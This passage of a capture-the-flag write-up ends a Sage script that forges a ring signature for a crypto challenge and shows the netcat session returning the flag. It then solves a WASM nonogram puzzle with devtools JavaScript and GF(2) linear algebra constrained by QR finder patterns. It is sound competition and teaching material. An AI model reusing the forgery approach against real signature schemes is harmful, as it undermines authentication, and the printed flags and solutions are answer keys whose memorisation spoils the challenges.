	o = polar_pub(x, y, pk)
	assert b2v(x) * affine == b2v(o)
sol = affine.solve_left(b2v(tgt) - b2v(pa))
sx = v2b(sol)
sy = strxor(sx, a)
assert strxor(uov.pubmap(sx, pk), uov.pubmap(sy, pk)) == tgt

pks = [directory["oberon"]] * 2
ring = Ring(pks)
sig = sx + sy
ring.verify(sig, MESSAGE)
print(sig.hex())

"""
> nc dicec.tf 31003
=== FAIRIES ===
- oberon
- titania
- puck
- gloriana
- aibell
- sebile
===============
ring size: 2
name 1: oberon
name 2: oberon
ring signature (hex): 5c6cfcb6ebd88837d240f25cc493d7d4215487d359b1f6c8fd809d030930fb3e93286c1080150ff98c445f4c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800a08e48f45204662270ef7c42ebfd5bde6edeaeb0337abcae85fa1caf281a3f7d73fb85f26619a23ca8ceb4c763b47406b57955b2abb4c251515e4d558991d013f138b3eb112224f1b1372b1290157b14a6a1082ed3fa365fed962e3f729b9c156e2e72fc24ce0c929c6969d5e71a0
dice{fr1ed_ch4ng3lin9_dumpl1ng5}
"""

rev

nonograms

nonogram

This is a web-based WASM reverse engineering challenge. It provides a UI displaying a 25x25 grid, where clicking toggles cells between black and white. On the right and bottom, it shows the current values (red) and target values (black) for each row and column. The goal is to make the current values match the target values. Additionally, according to the challenge description, the solution image will be a QR code.

A simple observation reveals that changing any single cell causes a linear change to the current values (linear in $\mathbb{F}_2$ ). So this problem is just about solving a linear system. Therefore, we first need a way to record the change caused by each cell.

First, use log points in devtools to extract the relevant functions/objects:

nonogram extract data devtool

Then, run the following JS in devtools to capture the change amount for each cell:

;[g, u, p, y] = vs
const toggle = (a, b) => [g.toggle_cell(a, b), u(), p(), y(), g.win()].pop()

function collect() {
	const rs = rows.textContent
		.split('\n')
		.map(s => s.trim().match(/[0-9a-f]{4}/g))
		.filter(Boolean)
	const cs = cols.textContent
		.split(' ')
		.map(s => s.trim().match(/[0-9a-f]{4}/g))
		.filter(Boolean)
	const tgt = rs
		.map(r => r[0])
		.concat(cs.map(c => c[0]))
		.join('')
	const cur = rs
		.map(r => r[1])
		.concat(cs.map(c => c[1]))
		.join('')
	return { cur, tgt }
}

const data = []
for (let r = 0; r < 25; r++) {
	for (let c = 0; c < 25; c++) {
		toggle(r, c)
		data.push(collect().cur)
		toggle(r, c)
	}
}
copy(JSON.stringify(data))

Afterwards, write a Sage script to solve it. However, the problem encountered is that the matrix rank is insufficient. So, many solutions can be found that make the current values match the target values, but they don't result in a scannable QR code, for example:

nonogram bad solution

Therefore, we need to use the condition that the solution is a QR code. Try to add the QR code's finder patterns as constraints. Since a Version 2 QR code is exactly 25x25, it's easy to know which cells must be 0 or 1. After adding all these constraints, the matrix rank becomes sufficient, allowing us to obtain the unique solution:

nonogram good solution

Scanning it yields dice{piCRCr0s5!<:P}. The Sage script I used is as follows:

from sage.all import *
import json

with open("data.json") as f:
	data = json.load(f)
init = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
tgt = "6d5ce1f40e054c83801c9d09d0417680a05020247a619c87f32198e03698ef355c4886aa80c705bec22db6a4f609f01a501a464fc1a4c29a210ceaf5494ed041ad5158f255f01bbdfb91d0989af18384af304a105eaa955392abd4b73249d3beffc6a050"

ln = len(init) // 2 * 8


def tovec(x):
	n = int(x, 16)
	bs = f"{n:0{ln}b}"
	return vector(GF(2), list(map(int, bs)))


i0 = tovec(init)
mat = matrix([tovec(x) + i0 for x in data])
v = tovec(tgt) + i0
sol = mat.solve_left(v)
lk = mat.left_kernel_matrix()

force_ones = []
force_zeros = []
qr_centers = [
	(3, 3),
	(3, 21),
	(21, 3),
]
for r in range(25):
	for c in range(25):
		i = r * 25 + c
		for rr, cc in qr_centers:
			ar = abs(r - rr)
			ac = abs(c - cc)
			if ar <= 1 and ac <= 1:
				force_ones.append(i)
			elif max(ar, ac) == 3:
				force_ones.append(i)
			elif max(ar, ac) == 2:
				force_zeros.append(i)
bottom_right = (25 - 7, 25 - 7)
for r in range(25):
	for c in range(25):
		i = r * 25 + c
		rr, cc = bottom_right
		ar = abs(r - rr)
		ac = abs(c - cc)
		if ar == ac == 0:
			force_ones.append(i)
		elif max(ar, ac) == 2:
			force_ones.append(i)
assert len(force_ones) == (6 * 4 + 9) * 3 + (4 * 4 + 1)
assert len(force_zeros) == (4 * 4) * 3
all_forces = force_ones + force_zeros
one_vec = vector(GF(2), [0] * ln)
for i in force_ones:
	one_vec[i] = 1
one_vec = vector(GF(2), [one_vec[i] for i in all_forces])
sol_x = vector([sol[i] for i in all_forces])
lk_x = matrix.column([lk.column(i) for i in all_forces])
dt = lk_x.solve_left(sol_x - one_vec)
goodsol = dt * lk + sol

for r in range(25):
	for c in range(25):
		i = r * 25 + c
		if goodsol[i]:
			print(f"toggle({r}, {c})")

data.json can be downloaded here.

web#

pyramid#

nobin#

*dicepass#

crypto#

vorpal-sword#

satisfied#

winxy-pistol#

fairy-ring#

rev#

nonograms#

web